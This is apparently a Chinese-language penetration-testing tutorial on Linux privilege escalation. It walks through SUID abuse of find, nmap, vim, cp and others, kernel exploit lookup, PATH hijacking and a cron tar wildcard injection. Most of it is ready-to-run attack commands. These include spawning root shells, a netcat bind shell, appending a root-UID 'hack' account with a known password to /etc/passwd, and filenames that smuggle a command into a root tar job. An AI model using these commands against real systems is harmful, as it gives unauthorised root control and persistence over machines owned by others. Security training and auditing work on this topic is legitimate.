linux提权

信息搜集自动化脚本

信息收集:LinEnumlinuxprivchecker
漏洞探针:linux-exploit-suggesterlinux-exploit-suggester2

SUID提权

suid给予文件的一个特殊类型的文件权限,可以让文件以 拥有者的身份 运行。

如下图test文件有S权限,而且拥有者是root,那么当它运行时,就是以root身份运行的。

tq1

已知的可用来提权的 linux可行性的文件 列表如下:

  • nmap
  • vim
  • find
  • bash
  • more
  • less
  • nano
  • cp

也就是说,如果目标机里给以上文件赋予了suid权限,我们就可以用对应命令来提权。

首先就是要找到被赋予了suid的全部文件,以下命令可以发现系统上运行的所有SUID可执行文件:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
也可以使用 sudo -l 命令列出当前用户可执行的命令

使用后如下图,发现了find命令。

tq2

find

touch 123	#随便建立一个文件
find 123 -exec "/bin/sh" \; 	#提权,以root身份执行find命令,参数exec可以执行命令,这里直接调出sh的shell。
find test -exec netcat -lvp 5555 -e /bin/sh \;	#nc反弹shell

nmap

ls -la /usr/local/bin/nmap 让我们确认nmap是否设置了SUID位。

  1. nmap(2.02-5.21)存在交换模式,可利用提权,我们可以在此模式下以交
    互方式运行nmap,从而可以转至shell。如果nmap设置了SUID位,它将以root特权运行,我们可以通过其交互模式访问’root’shell。
nmap –interactive 	#运行nmap交互模式
!sh 	#我们可以从nmap shell转到系统shell
msf中的模块为:exploit/unix/local/setuid_nmap
  1. 使用--script参数:
echo "os.execute('/bin/sh')" > /tmp/shell && sudo nmap --script=/tmp/shell

vi/vim

Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

  1. 打开vim,按下ESC
:set shell=/bin/sh
:shell
  1. 可能效果好一点:
sudo vim -c '!sh'

bash

以root身份打开一个bash shell:

bash -p

less

没啥用

less /etc/passwd
!/bin/sh

more

没啥用

more /home/pelle/myfile
!/bin/bash

cp

覆盖 /etc/shadow 或 /etc/passwd

cat /etc/passwd >/tmp/passwd
openssl passwd -1 -salt hack hack123	#使用openssl加密密码
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> /tmp/passwd		#按照root格式写入passwd
cp /tmp/passwd /etc/passwd
su hack		#切换用户
hack123		#密码

mv

覆盖 /etc/shadow 或 /etc/passwd

cat /etc/passwd >/tmp/passwd
openssl passwd -1 -salt hack hack123	#使用openssl加密密码
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> /tmp/passwd		#按照root格式写入passwd
mv /tmp/passwd /etc/passwd
su hack		#切换用户
hack123		#密码

nano

nano /etc/passwd
ctrl+r
ctrl+x
reset; sh 1>&0 2>&0

内核漏洞

内核信息搜集

一些基本命令收集一些Linux内核信息

命令 结果
uname -a 打印所有可用的系统信息
uname -m Linux内核体系结构(32或64位)
uname -r 内核发布
uname -n 要么 hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 要么 cat /etc/issue 发行信息
cat /proc/cpuinfo CPU信息
df -a 文件系统信息
dpkg –list 2>/dev/null| grep complier |grep -v decompiler 2>/dev/null && yum list install ‘gcc*’ 2>/dev/null| grep gcc 2>/dev/null 列出可用的编译器

搜索漏洞

网址:www.exploit-db.com

工具:searchsploit、msf

把exp下载下来,按照步骤运行即可提权。

如果可以避免,请不要使用内核漏洞利用。如果使用它,可能会使计算机崩溃或使其处于不稳定状态。因此,内核漏洞利用应该是最后的手段。

环境变量

配合suid进行的环境变量提权。

使用echo命令就能轻易的查看和当前用户相关的环境变量存放的一些路径

echo $PATH

例如有demo.c这个文件,文件内容如下,你可以看到,我们调用了ps命令,即系统二进制文件

#include<unistd.h>
void main()
{
    setuid(0);
    setgid(0);
    system("ps");
}

然后使用gcc命令编译demo.c文件并且赋予编译文件SUID权限,命令如下:

gcc demo.c -o shell		#编译
chmod u+s shell			#赋权限
ls -la shell			#查看文件信息

那就是以拥有者的身份去运行。它使用了ps命令(查看进程命令),也就是以拥有者的身份使用ps命令。

find / -perm -u=s -type f 2>/dev/null

通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以看到demo.c编译之后的shell文件也在其中。

因为在实战中我们不知道shell文件执行了什么命令,所以我们可以运行一下shell

./shell

就能发现它是用了查看进程的ps命令。

那我们如果重写ps命令文件,然后把它加入环境变量,那么shell文件不就是执行的我们指定的命令吗。

cd /tmp		#一般到/tmp下操作
echo "/bin/bash" > ps		#新建一个ps文件,写入/bin/bash
chmod 777 ps		#给权限
echo $PATH		#查看环境变量
export PATH=/tmp:$PATH		#导入环境变量
./shell		#再执行文件,提权成功

参考:Linux环境变量提权 - 先知社区 (aliyun.com)

计划任务

参考:利用定时任务(Cronjobs)进行Linux提权 - 先知社区 (aliyun.com)

linux系统中/etc/crontab这个文件就是类似于存储定时任务的内容的文件。结构如下图:

tq3.png

前面的*是年月日时间这些参数,root是执行人,后面是执行的命令。

Crontab Tar Wildcard注入

  • Crontab:计划任务
  • Tar:tar打包命令
  • Wildcard:通配符

不安全的定时任务备份命令

*  *    * * *   root    cd /home/kali/test;tar czf /tmp/tmp/backup.tar.gz *

以root身份使用tar命令进行打包,最后有一个*通配符 ,会匹配所有的文件名。

我们执行以下命令:

echo 'cp /bin/bash /tmp/tmp/bash;chmod +s /tmp/tmp/bash' > test.sh		#创建恶意脚本
echo "" > "--checkpoint-action=exec=sh test.sh"		#新建文件名为--checkpoint-action=exec=sh test.sh的文件
echo "" > --checkpoint=1	#新建文件名为--checkpoint=1的文件

解释:

tar czf /tmp/tmp/backup.tar.gz *
变成了↓
tar czf /tmp/tmp/backup.tar.gz --checkpoint-action=exec=sh test.sh --checkpoint=1

文件名变成tar命令的参数,从而执行了我们建立的test.sh恶意文件,所以就在tmp目录下生成suid的bash文件。

等一分钟后就会在/tmp/tmp目录下发现有个bash文件,执行:

./bash -p

然后就提权成功了。


参考:对Linux 提权的简单总结 - 先知社区 (aliyun.com)